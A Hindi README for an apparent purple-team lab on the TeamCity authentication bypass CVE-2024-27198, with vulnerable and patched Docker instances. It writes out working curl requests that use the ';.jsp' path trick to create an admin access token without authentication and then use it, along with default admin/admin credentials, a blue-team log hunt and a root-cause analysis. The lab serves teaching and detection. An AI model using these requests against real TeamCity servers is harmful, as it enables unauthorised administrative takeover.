CVE-2024-27198 के लिए लैब
JetBrains TeamCity प्रमाणीकरण बायपास (CVE-2024-27198) के लिए भेद्यता अनुसंधान और पर्पल टीम प्रदर्शन लैब
TeamCity टोकन प्रबंधन के लिए एक एडमिन-केवल पेज प्रदान करता है जो प्रमाणीकरण द्वारा सुरक्षित नहीं है। यह एक अप्रमाणित उपयोगकर्ता को एडमिन उपयोगकर्ता के लिए एक्सेस टोकन जनरेट करने की अनुमति देता है यदि वे किसी मौजूदा उपयोगकर्ता की ID ढूँढ सकें।
इस रिपॉज़िटरी में एक पूर्ण पुनरुत्पाद्य Dockerized लैब है जिसमें भेद्य (:8111) और पैच किए गए (:8112) दोनों TeamCity वातावरण, स्वचालित शोषण स्क्रिप्ट (exploit.py), ब्लू टीम लॉग-हंटिंग वॉकथ्रू, और एक लाइव SIEM इवेंट सिम्युलेटर (siem_simulator.py) शामिल हैं।
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
यह भेद्यता REST API राउटिंग तंत्र में निहित है। किसी अप्रमाणित एंडपॉइंट में विशिष्ट अक्षर (जैसे ?jsp=/app/rest/...;.jsp) जोड़कर, हमलावर TeamCity वेब सर्वर को सुरक्षा फ़िल्टरों को बायपास करते हुए अनुरोध को प्रमाणित एंडपॉइंट पर राउट करने के लिए धोखा दे सकते हैं। इसके लिए किसी पूर्व ज्ञान या पहुँच की आवश्यकता नहीं होती, जिससे यह शुद्ध 9.8 CVSS बन जाता है।
इस लैब की स्थानीय प्रति प्राप्त करके चालू करने के लिए इन सरल उदाहरण चरणों का पालन करें।
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
उपयोगकर्ता नाम:
admin
पासवर्ड:
admin
प्रमाणीकरण के बिना किसी संसाधन के लिए GET अनुरोध:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
दोनों को 401 स्टेटस कोड के साथ एक त्रुटि लौटानी चाहिए।
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
यह इस तरह एक टोकन लौटाएगा (टोकन हर बार अलग होता है):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
यह 401 स्टेटस कोड के साथ एक त्रुटि लौटाएगा क्योंकि पैच किए गए इंस्टेंस में भेद्यता नहीं है।
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
उपयोगकर्ताओं की सूची लौटानी चाहिए।
लैब पर प्रदर्शन के दौरान, आप एक बड़ी ब्लू टीम फाइंडिंग दिखा सकते हैं: डिफ़ॉल्ट रूप से, यह भेद्यता अविश्वसनीय रूप से स्टेल्थी है!
;.jsp HTTP अनुरोध लॉग नहीं होते।तो हम इसे कैसे पकड़ें? जब हमलावर अपने निशान मिटाता है! जब हमलावर छिपने के लिए अपना रोग टोकन हटाता है, तो TeamCity उसे लॉग करता है।
ऑडिट लॉग्स में अपने निशान मिटाते हमलावर को खोजें:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(आपको एक लॉग प्रविष्टि दिखाई देगी जो दर्शाती है कि "REDTEAM" टोकन हटा दिया गया था)।
docker compose down
यह भेद्यता CWE-288: वैकल्पिक पथ या चैनल का उपयोग करके प्रमाणीकरण बायपास का एक उदाहरण है।
यह दोष Tomcat वेब सर्वर और TeamCity एप्लिकेशन राउटर के बीच पथ भ्रम (path confusion) की समस्या से उत्पन्न होता है। ;.jsp जोड़कर और jsp= पैरामीटर में लक्षित REST API एंडपॉइंट पास करके, प्रारंभिक सुरक्षा फ़िल्टर अनुरोध को एक सार्वजनिक .jsp फ़ाइल (जिसकी अनुमति है) के लिए अप्रमाणित अनुरोध के रूप में व्याख्यायित करता है। हालाँकि, आंतरिक राउटर ;.jsp को हटा देता है और अनुरोध को प्रमाणीकरण फ़िल्टर लागू किए बिना प्रतिबंधित /app/rest/ एंडपॉइंट पर अग्रेषित कर देता है।